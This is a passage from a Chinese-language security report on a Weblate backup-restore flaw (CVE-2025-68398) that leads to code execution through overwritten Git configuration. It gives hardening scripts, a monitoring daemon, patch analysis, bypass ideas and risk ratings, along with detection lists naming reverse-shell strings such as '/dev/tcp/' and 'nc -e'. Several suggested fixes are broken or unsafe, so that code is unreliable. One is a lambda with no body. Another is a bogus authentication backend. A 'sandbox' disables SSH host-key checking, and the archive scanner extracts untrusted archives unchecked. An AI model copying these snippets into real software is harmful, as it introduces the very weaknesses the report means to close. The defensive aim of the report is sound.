echo "[+] Protected: $cfg"
done
注意:这可能影响正常的Git操作,升级后需要解除保护:
# 解除保护
find /var/lib/weblate/data -name "config" -path "*/.git/config" -exec sudo chattr -i {} \;
find /var/lib/weblate/data -name "config" -path "*/.git/config" -exec chmod 644 {} \;
#!/bin/bash
# audit_backups.sh - 审计所有现有备份文件
BACKUP_DIR="/var/lib/weblate/backups"
echo "Auditing backups in $BACKUP_DIR..."
find "$BACKUP_DIR" -type f \( -name "*.tar.gz" -o -name "*.zip" \) | while read backup; do
echo ""
echo "=== Checking: $backup ==="
# 列出压缩包内容
if [[ "$backup" == *.tar.gz ]]; then
contents=$(tar -tzf "$backup")
elif [[ "$backup" == *.zip ]]; then
contents=$(unzip -l "$backup")
fi
# 检查是否包含敏感路径
if echo "$contents" | grep -qE "\.git/|\.svn/|\.hg/"; then
echo "[WARNING] Suspicious backup detected!"
echo "Contains version control files:"
echo "$contents" | grep -E "\.git/|\.svn/|\.hg/"
# 标记为可疑
mv "$backup" "$backup.SUSPICIOUS"
echo "[ACTION] Renamed to: $backup.SUSPICIOUS"
else
echo "[OK] Backup appears safe"
fi
done
echo ""
echo "Audit complete."
# iptables规则 - 仅允许特定IP访问管理界面
iptables -A INPUT -p tcp --dport 8080 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP
# 使用nginx反向代理实现IP白名单
# /etc/nginx/sites-available/weblate
server {
listen 443 ssl;
server_name weblate.example.com;
# 管理界面IP限制
location /admin/ {
allow 192.168.1.0/24; # 内网
allow 203.0.113.50; # 管理员VPN出口IP
deny all;
proxy_pass http://127.0.0.1:8080;
}
# 普通翻译界面对外开放
location / {
proxy_pass http://127.0.0.1:8080;
}
}
# weblate/settings.py
# 启用严格的权限检查
STRICT_PERMISSION_CHECKS = True
# 限制备份功能仅超级管理员可用
BACKUP_ADMIN_ONLY = True
# 启用双因素认证
AUTHENTICATION_BACKENDS = [
'django_otp.plugins.otp_totp.models.TOTPDevice',
'django.contrib.auth.backends.ModelBackend',
]
# 强制管理员使用2FA
from django.contrib.admin.sites import AdminSite
AdminSite.login = lambda self, request, extra_context=None: \
# 自定义登录逻辑,要求2FA
# Kubernetes Pod Security Context
apiVersion: v1
kind: Pod
metadata:
name: weblate
spec:
securityContext:
# 以非root用户运行
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
# 只读根文件系统
readOnlyRootFilesystem: true
# 禁用特权提升
allowPrivilegeEscalation: false
# 丢弃所有capabilities
capabilities:
drop:
- ALL
add:
- NET_BIND_SERVICE # 仅保留必要的权限
containers:
- name: weblate
image: weblate/weblate:5.15.1
# 限制资源使用
resources:
limits:
cpu: "2"
memory: "4Gi"
requests:
cpu: "500m"
memory: "1Gi"
# 挂载临时目录为noexec
volumeMounts:
- name: tmp
mountPath: /tmp
readOnly: false
volumes:
- name: tmp
emptyDir:
sizeLimit: 1Gi
medium: Memory # 使用内存文件系统,重启后自动清理
AppArmor配置(/etc/apparmor.d/usr.local.bin.weblate):
#include <tunables/global>
/usr/local/bin/weblate {
#include <abstractions/base>
#include <abstractions/python>
# 允许读取配置
/etc/weblate/** r,
/var/lib/weblate/data/** rw,
# 禁止写入敏感目录
deny /var/lib/weblate/data/**/.git/config w,
deny /var/lib/weblate/data/**/.git/hooks/** w,
# 允许执行Git
/usr/bin/git ix,
# 禁止执行/tmp中的文件
deny /tmp/** x,
deny /var/tmp/** x,
deny /dev/shm/** x,
}
启用:
apparmor_parser -r /etc/apparmor.d/usr.local.bin.weblate
aa-enforce /usr/local/bin/weblate
#!/usr/bin/env python3
# git_config_guardian.py - Git配置守护进程
import os
import time
import hashlib
import logging
from pathlib import Path
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
class GitConfigGuardian(FileSystemEventHandler):
def __init__(self, data_dir):
self.data_dir = Path(data_dir)
self.known_hashes = {}
self.initialize_hashes()
def initialize_hashes(self):
"""初始化已知Git配置文件的哈希值"""
for config_file in self.data_dir.rglob(".git/config"):
if config_file.is_file():
hash_value = self.calculate_hash(config_file)
self.known_hashes[str(config_file)] = hash_value
logger.info(f"Registered: {config_file}")
def calculate_hash(self, file_path):
"""计算文件SHA256哈希"""
sha256 = hashlib.sha256()
with open(file_path, 'rb') as f:
for block in iter(lambda: f.read(4096), b''):
sha256.update(block)
return sha256.hexdigest()
def on_modified(self, event):
if event.is_directory:
return
if event.src_path.endswith(".git/config"):
self.check_git_config(event.src_path)
def on_created(self, event):
if event.is_directory:
return
if event.src_path.endswith(".git/config"):
logger.warning(f"New git config created: {event.src_path}")
self.check_git_config(event.src_path)
def check_git_config(self, config_path):
"""检查Git配置文件是否包含恶意内容"""
logger.info(f"Checking: {config_path}")
# 计算新哈希
new_hash = self.calculate_hash(config_path)
old_hash = self.known_hashes.get(config_path)
if old_hash and new_hash != old_hash:
logger.warning(f"Git config modified: {config_path}")
# 读取文件内容检查危险配置
with open(config_path, 'r') as f:
content = f.read()
dangerous_patterns = [
'hooksPath',
'sshCommand',
'core.editor',
'/tmp/',
'/var/tmp/',
'/dev/shm/',
]
for pattern in dangerous_patterns:
if pattern in content:
logger.critical(
f"ALERT: Dangerous pattern '{pattern}' found in {config_path}"
)
self.take_action(config_path, content, pattern)
return
# 更新哈希
self.known_hashes[config_path] = new_hash
def take_action(self, config_path, content, dangerous_pattern):
"""响应恶意配置文件"""
# 1. 记录完整内容
logger.critical(f"Malicious content:\n{content}")
# 2. 备份恶意文件
backup_path = f"{config_path}.malicious.{int(time.time())}"
os.rename(config_path, backup_path)
logger.info(f"Moved to: {backup_path}")
# 3. 恢复干净的配置(如果有备份)
# TODO: 实现配置恢复逻辑
# 4. 发送告警
self.send_alert(config_path, dangerous_pattern, content)
# 5. 可选:停止Weblate服务
# os.system("systemctl stop weblate")
def send_alert(self, config_path, pattern, content):
"""发送告警通知"""
import smtplib
from email.mime.text import MIMEText
msg = MIMEText(f"""
CVE-2025-68398 Exploitation Detected!
File: {config_path}
Pattern: {pattern}
Time: {time.ctime()}
Content:
{content}
Action: File has been quarantined.
""")
msg['Subject'] = '[CRITICAL] CVE-2025-68398 Exploitation Detected'
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'
try:
s = smtplib.SMTP('localhost')
s.send_message(msg)
s.quit()
logger.info("Alert email sent")
except Exception as e:
logger.error(f"Failed to send alert: {e}")
if __name__ == "__main__":
WEBLATE_DATA_DIR = "/var/lib/weblate/data"
event_handler = GitConfigGuardian(WEBLATE_DATA_DIR)
observer = Observer()
observer.schedule(event_handler, WEBLATE_DATA_DIR, recursive=True)
observer.start()
logger.info(f"Monitoring {WEBLATE_DATA_DIR} for CVE-2025-68398...")
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
安装依赖并运行:
pip install watchdog
sudo python3 git_config_guardian.py
优先级1: 立即升级
所有运行Weblate < 5.15.1的实例必须立即升级到5.15.1或更高版本。
验证升级是否成功:
# 检查版本
weblate --version
# 验证补丁是否应用
python3 << EOF
from weblate.utils.validators import validate_filename
from weblate.utils.files import is_excluded
# 测试漏洞路径
try:
validate_filename(".git/config", check_prohibited=True)
print("[FAIL] Still vulnerable!")
except Exception as e:
print(f"[PASS] Patch applied: {e}")
# 测试is_excluded
print(f"is_excluded('.git/config'): {is_excluded('.git/config')}")
EOF
优先级2: 权限审计
# 审计所有具有备份权限的用户
python3 manage.py shell << EOF
from django.contrib.auth.models import User, Permission
backup_perm = Permission.objects.filter(codename__icontains='backup')
users_with_backup = User.objects.filter(
Q(groups__permissions__in=backup_perm) |
Q(user_permissions__in=backup_perm) |
Q(is_superuser=True)
).distinct()
print("Users with backup permissions:")
for user in users_with_backup:
print(f" - {user.username} ({user.email}) - Last login: {user.last_login}")
EOF
优先级3: 清除潜在后门
#!/bin/bash
# cleanup_backdoors.sh
echo "Searching for malicious Git configurations..."
# 1. 检查所有.git/config文件
find /var/lib/weblate/data -name "config" -path "*/.git/config" | while read cfg; do
if grep -q "hooksPath" "$cfg" 2>/dev/null; then
echo "[ALERT] Custom hooksPath found: $cfg"
grep "hooksPath" "$cfg"
# 备份并清理
cp "$cfg" "$cfg.backup.$(date +%s)"
sed -i '/hooksPath/d' "$cfg"
echo "[CLEANED] Removed hooksPath from $cfg"
fi
done
# 2. 检查常见后门位置
for dir in /tmp /var/tmp /dev/shm; do
echo "Checking $dir for suspicious hooks..."
find "$dir" -type f \( -name "*hook*" -o -name "*.sh" \) -mtime -7 -ls
done
# 3. 检查cron jobs
echo "Checking crontabs..."
for user in $(cut -f1 -d: /etc/passwd); do
crontab -u "$user" -l 2>/dev/null | grep -v "^#" | grep -v "^$" && echo " User: $user"
done
# 4. 检查进程
echo "Checking for suspicious processes..."
ps auxf | grep -E "bash.*tcp|nc.*-e|/dev/tcp" | grep -v grep
echo "Cleanup complete. Review alerts above."
措施1: 实施输入验证白名单
# weblate/utils/validators.py
import re
from django.core.exceptions import ValidationError
# 定义允许的文件模式
ALLOWED_BACKUP_PATTERNS = [
r'^translations/.*\.po$',
r'^locale/.*\.po$',
r'^.*\.json$',
r'^.*\.xliff$',
r'^.*\.strings$',
]
def validate_backup_filename(value: str) -> None:
"""验证备份文件名(白名单模式)"""
# 首先使用原有的validate_filename
validate_filename(value, check_prohibited=True)
# 额外的白名单检查
if not any(re.match(pattern, value) for pattern in ALLOWED_BACKUP_PATTERNS):
raise ValidationError(
f"File type not allowed in backups. "
f"Only translation files are permitted."
)
措施2: 沙箱化Git操作
# weblate/vcs/git.py
import subprocess
import tempfile
import os
def execute_git_command_sandboxed(repo_path, command, **kwargs):
"""在沙箱环境中执行Git命令"""
# 创建临时的干净Git配置
with tempfile.TemporaryDirectory() as tmpdir:
clean_config = os.path.join(tmpdir, 'git-config')
# 写入最小化的安全配置
with open(clean_config, 'w') as f:
f.write('[safe]\n')
f.write(f' directory = {repo_path}\n')
# 设置环境变量强制使用我们的配置
env = os.environ.copy()
env['GIT_CONFIG_GLOBAL'] = clean_config
env['GIT_CONFIG_SYSTEM'] = '/dev/null'
env['GIT_CONFIG_NOSYSTEM'] = '1'
# 禁用hooks
env['GIT_HOOKS_PATH'] = '/dev/null'
# 禁用SSH配置覆盖
env['GIT_SSH_COMMAND'] = 'ssh -o StrictHostKeyChecking=no'
# 执行命令
result = subprocess.run(
['git'] + command,
cwd=repo_path,
env=env,
capture_output=True,
**kwargs
)
return result
措施3: 文件上传内容扫描
# weblate/trans/models/backup.py
import tarfile
import zipfile
import tempfile
from pathlib import Path
def scan_backup_contents(backup_file):
"""扫描备份文件内容,检测恶意文件"""
with tempfile.TemporaryDirectory() as tmpdir:
# 解压到临时目录
if backup_file.name.endswith('.tar.gz'):
with tarfile.open(backup_file, 'r:gz') as tar:
tar.extractall(tmpdir)
elif backup_file.name.endswith('.zip'):
with zipfile.ZipFile(backup_file, 'r') as zip_ref:
zip_ref.extractall(tmpdir)
# 扫描所有文件
malicious_files = []
for file_path in Path(tmpdir).rglob('*'):
if file_path.is_file():
rel_path = file_path.relative_to(tmpdir)
# 检查路径
if not is_safe_backup_path(str(rel_path)):
malicious_files.append(str(rel_path))
continue
# 检查内容
if is_malicious_content(file_path):
malicious_files.append(str(rel_path))
return malicious_files
def is_safe_backup_path(path):
"""检查路径是否安全"""
dangerous_patterns = [
'.git/', '.svn/', '.hg/', '.bzr/',
'..', '__pycache__', 'node_modules',
]
return not any(pattern in path for pattern in dangerous_patterns)
def is_malicious_content(file_path):
"""检查文件内容是否包含恶意模式"""
try:
with open(file_path, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read(8192) # 读取前8KB
malicious_patterns = [
'bash -i >&',
'/dev/tcp/',
'nc -e',
'eval(base64',
'hooksPath',
]
return any(pattern in content for pattern in malicious_patterns)
except:
return False
架构1: 微服务隔离
将Weblate拆分为独立的微服务:
┌─────────────────┐
│ Web Frontend │ ← 翻译界面(低权限)
└────────┬────────┘
│
┌────────▼────────┐
│ API Gateway │ ← 统一认证和授权
└────────┬────────┘
│
┌────┴────┐
│ │
┌───▼───┐ ┌──▼───┐
│ Trans │ │ Admin│ ← 管理功能(高权限隔离)
│Service│ │Service│
└───┬───┘ └──┬───┘
│ │
┌───▼────────▼───┐
│ Git Service │ ← Git操作专用服务(无网络访问)
└────────────────┘
架构2: 零信任架构
# 实施细粒度的权限控制
from enum import Enum
class Permission(Enum):
READ_TRANSLATION = "trans.read"
WRITE_TRANSLATION = "trans.write"
MANAGE_PROJECT = "project.manage"
BACKUP_UPLOAD = "backup.upload"
BACKUP_RESTORE = "backup.restore" # 最高权限
SYSTEM_ADMIN = "system.admin"
class PermissionChecker:
@staticmethod
def require_permission(permission: Permission):
def decorator(func):
def wrapper(request, *args, **kwargs):
if not has_permission(request.user, permission):
raise PermissionDenied(
f"User {request.user} lacks {permission.value}"
)
# 记录审计日志
log_permission_check(
user=request.user,
permission=permission,
resource=kwargs.get('resource_id'),
action=func.__name__,
ip=request.META.get('REMOTE_ADDR')
)
return func(request, *args, **kwargs)
return wrapper
return decorator
# 使用示例
@PermissionChecker.require_permission(Permission.BACKUP_RESTORE)
def restore_backup(request, backup_id):
# 只有明确授予BACKUP_RESTORE权限的用户才能执行
pass
架构3: 不可变基础设施
使用不可变的容器镜像和文件系统:
# Dockerfile for hardened Weblate
FROM weblate/weblate:5.15.1 AS base
# 创建非root用户
RUN useradd -m -u 1000 weblate
# 安装安全工具
RUN apt-get update && apt-get install -y \
auditd \
aide \
&& rm -rf /var/lib/apt/lists/*
FROM base AS runtime
# 切换到非root用户
USER weblate
# 设置只读文件系统(除了必要的目录)
VOLUME ["/app/data", "/tmp"]
# 健康检查
HEALTHCHECK --interval=30s --timeout=10s --start-period=60s \
CMD curl -f http://localhost:8080/healthz/ || exit 1
CMD ["weblate"]
Weblate团队在5.15.1版本中实施了两个关键修复:
修改文件:weblate/utils/validators.py
修复前:
def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
if "../" in value or "..\\" in value:
raise ValidationError(...)
if os.path.isabs(value):
raise ValidationError(...)
cleaned = cleanup_path(value)
if value != cleaned:
raise ValidationError(...)
# 漏洞: 缺少敏感目录检查
修复后:
def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
if "../" in value or "..\\" in value:
raise ValidationError(...)
if os.path.isabs(value):
raise ValidationError(...)
cleaned = cleanup_path(value)
if value != cleaned:
raise ValidationError(...)
# 新增: 敏感目录检查
if check_prohibited and is_excluded(cleaned):
raise ValidationError(gettext("The filename contains a prohibited folder."))
分析:
简单但有效的修复
利用现有的is_excluded函数
添加了check_prohibited参数以保持向后兼容性
将拒绝包含.git、.svn等目录的所有路径
修改文件:weblate/vcs/git.py
修复内容:
# 修复前: 使用GIT_SSH环境变量
env["GIT_SSH"] = ssh_wrapper
# 修复后: 使用GIT_SSH_COMMAND(优先级更高)
env["GIT_SSH_COMMAND"] = ssh_command
分析:
GIT_SSH_COMMAND的优先级高于.git/config中的配置
即使.git/config被篡改,也能确保使用安全的SSH命令
提供了额外的防御层次(纵深防御)
强度评估: 高
修复有效地阻止了原始攻击向量:
# 测试修复效果
from weblate.utils.validators import validate_filename
from django.core.exceptions import ValidationError
test_cases = [
".git/config",
".svn/entries",
".hg/hgrc",
"translations/zh.po", # 应该通过
]
for path in test_cases:
try:
validate_filename(path, check_prohibited=True)
print(f"[ACCEPTED] {path}")
except ValidationError as e:
print(f"[REJECTED] {path}: {e}")
# 输出:
# [REJECTED] .git/config: The filename contains a prohibited folder.
# [REJECTED] .svn/entries: The filename contains a prohibited folder.
# [REJECTED] .hg/hgrc: The filename contains a prohibited folder.
# [ACCEPTED] translations/zh.po
完整性评估: 中
修复解决了已知的攻击向量,但可能存在绕过可能性:
潜在绕过1 - Unicode欺骗:
# 使用Unicode相似字符
".ɡit/config" # 注意:这里的g是Unicode字符U+0261
建议增强:
def validate_filename(value: str, *, check_prohibited: bool = True) -> None:
# ... 现有检查 ...
# 新增: Unicode规范化
import unicodedata
normalized = unicodedata.normalize('NFKC', value)
if normalized != value:
raise ValidationError("Filename contains non-standard characters")
潜在绕过2 - 大小写混淆(在不区分大小写的文件系统上):
".GIT/config" # 在Windows/macOS上可能绕过
建议增强:
def is_excluded(path: str) -> bool:
# 转换为小写进行比较
path_lower = path.lower()
normalized_path = f"/{path_lower}/"
EXCLUDES_LOWER = [exclude.lower() for exclude in EXCLUDES]
PATH_EXCLUDES = [f"/{exclude}/" for exclude in EXCLUDES_LOWER]
return any(exclude in normalized_path for exclude in PATH_EXCLUDES)
虽然官方修复是有效的,但建议实施以下补充措施:
# 额外的白名单层
ALLOWED_FILE_EXTENSIONS = {'.po', '.pot', '.json', '.xliff', '.strings'}
ALLOWED_DIRECTORIES = {'translations', 'locale', 'i18n'}
def validate_backup_file_whitelist(path: str) -> None:
"""基于白名单的额外验证"""
path_obj = Path(path)
# 检查扩展名
if path_obj.suffix not in ALLOWED_FILE_EXTENSIONS:
raise ValidationError(
f"File extension {path_obj.suffix} not allowed in backups"
)
# 检查目录
parts = path_obj.parts
if parts and parts[0] not in ALLOWED_DIRECTORIES:
raise ValidationError(
f"Directory {parts[0]} not allowed in backups"
)
def scan_backup_archive(archive_path: str) -> List[str]:
"""深度扫描备份压缩包"""
issues = []
with tarfile.open(archive_path) as tar:
for member in tar.getmembers():
# 检查路径
if is_dangerous_path(member.name):
issues.append(f"Dangerous path: {member.name}")
# 检查符号链接
if member.issym() or member.islnk():
issues.append(f"Symbolic link not allowed: {member.name}")
# 检查权限
if member.mode & 0o111: # 可执行位
issues.append(f"Executable file: {member.name}")
# 检查文件大小
if member.size > 10 * 1024 * 1024: # 10MB
issues.append(f"File too large: {member.name} ({member.size} bytes)")
return issues
class BackupOperationMonitor:
"""监控备份操作的异常行为"""
@staticmethod
def before_restore(user, backup_file):
"""恢复前的检查"""
# 记录详细的审计日志
logger.warning(
f"Backup restore initiated",
extra={
'user': user.username,
'user_id': user.id,
'ip': get_client_ip(),
'backup_file': backup_file.name,
'backup_size': backup_file.size,
'timestamp': datetime.now().isoformat(),
}
)
# 检查用户最近的活动
recent_actions = get_recent_user_actions(user, hours=24)
if is_suspicious_pattern(recent_actions):
send_alert(f"Suspicious backup restore by {user.username}")
# 可选: 要求额外验证
raise PermissionDenied("Additional verification required")
@staticmethod
def after_restore(user, backup_file):
"""恢复后的验证"""
# 扫描所有.git/config文件
for config_file in Path(settings.DATA_DIR).rglob(".git/config"):
if has_malicious_content(config_file):
logger.critical(f"Malicious git config detected: {config_file}")
quarantine_file(config_file)
send_critical_alert(...)
| 风险维度 | 评分 (1-10) | 说明 |
|---|---|---|
| 利用难度 | 3 | 需要管理员权限,但技术门槛低 |
| 攻击复杂度 | 2 | 攻击步骤简单,易于复现 |
| 检测难度 | 7 | 需要专门的监控才能及时发现 |
| 影响范围 | 10 | 完全控制服务器,数据泄露,供应链攻击 |
| 修复成本 | 2 | 升级简单,无兼容性问题 |
| 综合风险 | 8.5/10 | 高风险 |
数据泄露
所有翻译内容(可能包含敏感信息)
源代码和Git历史
SSH密钥和API凭证
数据库连接字符串
财务影响: GDPR罚款可达2000万欧元或全球营业额的4%
系统可用性
服务器被完全控制
可能被用于DDoS攻击
数据可能被加密勒索
财务影响: 业务中断成本 + 恢复成本
供应链污染
恶意代码注入到下游项目
影响使用这些翻译的所有应用
破坏开源项目信誉
财务影响: 难以量化,但可能导致长期信任损失
合规违规
GDPR、SOC2、ISO27001等合规要求
可能导致认证撤销
法律责任
用户数据泄露的法律诉讼
知识产权泄露赔偿
声誉损害
客户流失
市场份额下降
品牌价值贬损
类型1: 外部攻击者
动机: 经济利益、数据窃取、供应链攻击
能力: 中等(需获取管理员凭证)
可能性: 中
方法: 钓鱼、凭证泄露、暴力破解
类型2: 恶意内部人员
动机: 报复、间谍活动、经济利益
能力: 高(已有管理员权限)
可能性: 低
方法: 直接利用
类型3: APT组织
动机: 国家支持的网络间谍活动
能力: 极高
可能性: 低(针对高价值目标)
方法: 多阶段攻击,持久化
类型4: 供应链攻击者
动机: 污染开源软件生态系统
能力: 高
可能性: 中
方法: 攻击上游翻译平台,影响下游项目
| 场景 | 概率 | 影响 | 风险等级 |
|---|---|---|---|
| 外部攻击者通过钓鱼获取管理员凭证 | 中 | 高 | 高 |
| 恶意内部人员直接利用 | 低 | 极高 | 高 |
| APT组织针对高价值目标 | 极低 | 极高 | 中 |
| 供应链攻击污染开源项目 | 中 | 极高 | 极高 |
| 自动化扫描和批量利用 | 低 | 中 | 中 |
即使应用了所有修复措施,仍存在以下残余风险:
零日漏洞
可能存在其他未发现的路径遍历漏洞
其他功能模块的类似问题
配置错误
管理员可能错误配置权限
防护措施可能被意外禁用
社会工程学
攻击者可能通过非技术手段获取权限
内部威胁难以完全防范
依赖项风险
第三方库可能存在漏洞
供应链攻击风险
P0 - 立即执行(24小时内):
升级到Weblate 5.15.1
审计管理员账户
启用MFA/2FA
P1 - 紧急执行(1周内):
实施网络隔离
部署文件监控
审计现有备份文件
P2 - 重要执行(1月内):
实施深度防御措施
建立SIEM监控
进行渗透测试
P3 - 持续改进:
定期安全审计
安全培训
事件响应演练
CVE-2025-68398是Weblate翻译管理平台中的一个严重路径遍历漏洞,CVSS评分为9.1(严重)。该漏洞源于validate_filename函数缺少对版本控制系统敏感目录(如.git)的验证,允许具有管理员权限的攻击者通过精心构造的备份文件覆盖Git配置,进而利用Git hooks机制实现远程代码执行。
关键特征:
漏洞类型: 路径遍历(CWE-22)+ 输入验证不当(CWE-20)
攻击向量: 网络可达,需要高权限
影响范围: 所有Weblate < 5.15.1版本
修复状态: 已在5.15.1版本中完全修复
防御深度不足
单一的输入验证层不够
需要多层安全控制(应用层、系统层、网络层)
黑名单的局限性
仅阻止../不够,需要结合敏感目录过滤
白名单通常比黑名单更安全
高权限功能的安全性
不能因为需要高权限就降低安全标准
内部威胁和权限升级链使高权限功能同样危险
代码审查盲区
现有的安全函数(is_excluded)未被使用
需要检查安全功能的完整调用链
安全测试覆盖
应包含路径遍历的边界测试
测试用例应覆盖各种绕过技巧
技术债务管理
随着功能演进,安全要求也要同步更新
定期安全审计可以发现累积的问题
该漏洞暴露了开源翻译平台的一个系统性安全问题:
供应链风险
翻译平台处于软件供应链的关键节点
一个漏洞可能影响成百上千的下游项目
开源安全
即使是知名开源项目也可能存在严重漏洞
需要更多的安全审计资源
负责任披露
Weblate团队的快速响应值得称赞
建立了良好的安全漏洞处理流程
立即升级
所有实例必须升级到5.15.1或更高版本
验证补丁是否正确应用
实施监控
部署文件完整性监控
启用异常行为检测
加强访问控制
审计管理员账户
启用多因素认证
实施IP白名单
定期审计
审计备份文件
检查Git配置
审查访问日志
安全编码
永远不要信任用户输入
使用白名单而非黑名单
实施多层验证
测试覆盖
编写路径遍历测试用例
包含边界和异常情况
自动化安全测试
依赖管理
及时更新依赖项
监控安全公告
使用依赖扫描工具
安全意识
参加安全培训
学习常见漏洞类型
进行同行代码审查
深入挖掘
不要忽视高权限功能
关注文件操作和VCS集成
考虑攻击链组合
负责任披露
遵循CVD(协调漏洞披露)流程
给予厂商合理的修复时间
提供详细的PoC和修复建议
知识分享
发布详细的分析报告
分享检测和防护方法
教育社区提高安全意识
Weblate和类似平台应该:
增强安全架构
微服务隔离
零信任架构
沙箱执行环境
自动化安全
集成SAST/DAST工具
自动依赖扫描
持续安全监控
安全生态
建立漏洞赏金计划
定期安全审计
安全社区合作
合规与认证
获取安全认证(如SOC2)
遵循行业最佳实践
透明的安全政策
CVE-2025-68398是一个经典的输入验证漏洞案例,它提醒我们:安全不是一次性的任务,而是持续的过程。即使是成熟的开源项目,也可能存在严重的安全漏洞。
关键要点:
永远不要信任用户输入,即使是来自高权限用户
纵深防御比单点防护更可靠
快速响应可以最小化漏洞的影响窗口
安全社区协作对于保护生态系统至关重要
对于所有运行Weblate的组织,升级到5.15.1版本是唯一可接受的解决方案。任何缓解措施都只是临时性的,不能替代官方补丁。
最后,感谢Jason Marcello发现并负责任披露了这个漏洞,感谢Weblate团队的快速修复。这个案例展示了开源安全生态系统的最佳实践。
免责声明: 本报告中的所有技术信息仅供安全研究和防御目的使用。未经授权使用这些信息进行攻击是违法行为。作者和发布方不对任何滥用行为负责。
报告完毕